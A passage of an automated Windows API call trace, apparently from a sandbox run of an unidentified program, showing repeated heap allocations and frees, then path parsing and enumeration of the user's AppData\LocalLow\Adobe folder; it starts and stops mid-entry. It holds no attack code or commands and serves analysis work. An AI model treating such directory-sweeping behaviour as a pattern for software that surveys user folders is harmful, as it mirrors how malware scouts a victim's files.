Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.401] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.401] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.401] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.401] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.401] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.401] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.401] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.401] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.401] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.401] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.401] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.401] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.401] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.401] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.401] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.401] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.401] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.401] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.401] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.401] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.401] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.402] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.402] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.402] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.402] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.402] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.402] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.402] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.402] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.402] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.402] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.402] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.402] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.402] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.402] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.402] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.402] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.402] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.402] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.402] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.402] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.402] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.402] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.402] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.402] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.402] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.402] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.402] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.402] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.402] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.402] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.402] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.402] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.402] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.403] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.403] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.403] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.403] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.403] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.403] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.403] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.403] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.403] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.403] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.403] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.403] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.403] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.403] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.403] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.403] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.403] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.403] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.403] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.403] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.403] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.403] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.403] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.403] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.403] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.403] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.403] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.403] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.403] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.403] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.403] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.403] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.403] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.404] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.404] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.404] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.404] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.404] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.404] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.404] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.404] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.404] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.404] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.404] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.404] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.404] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.404] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.404] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.404] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.404] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.404] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.404] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.404] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.404] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.404] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.404] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.404] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.404] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.404] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.404] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.404] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.404] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.404] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.404] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.404] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.404] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.405] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.405] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.405] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.405] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.405] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.405] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.405] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.405] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.405] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.405] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.405] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.405] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.405] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.405] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.405] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.405] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.405] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.405] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.405] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.405] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.405] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.405] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.405] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.405] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.405] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.405] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.405] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.406] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.406] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.406] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.406] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.406] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.406] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.406] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.406] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.406] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.406] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.406] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.406] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.406] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.406] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.406] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.406] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.406] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.406] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.406] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.406] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.406] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.406] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.406] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.406] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.406] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.406] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.406] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.406] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.406] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.406] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.406] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.406] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.406] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.407] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.407] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.407] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.407] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.407] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.407] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.407] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.407] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.407] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.407] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.407] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.407] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.407] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.407] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.407] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.407] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.407] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0126.407] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0126.407] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.407] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0126.407] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.407] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0126.407] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0126.407] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0126.407] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0126.407] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f7b8 | out: hHeap=0x5c0000) returned 1 [0126.407] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.407] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0126.407] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.407] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.407] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0126.407] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.408] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.408] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.408] PathFindFileNameW (pszPath="") returned="" [0126.408] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084378 [0126.408] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0126.408] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084378 | out: hHeap=0x5c0000) returned 1 [0126.408] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.409] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0126.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0410 [0126.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0126.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1c) returned 0x3076e68 [0126.409] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0126.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0126.409] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0410 | out: hHeap=0x5c0000) returned 1 [0126.409] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, 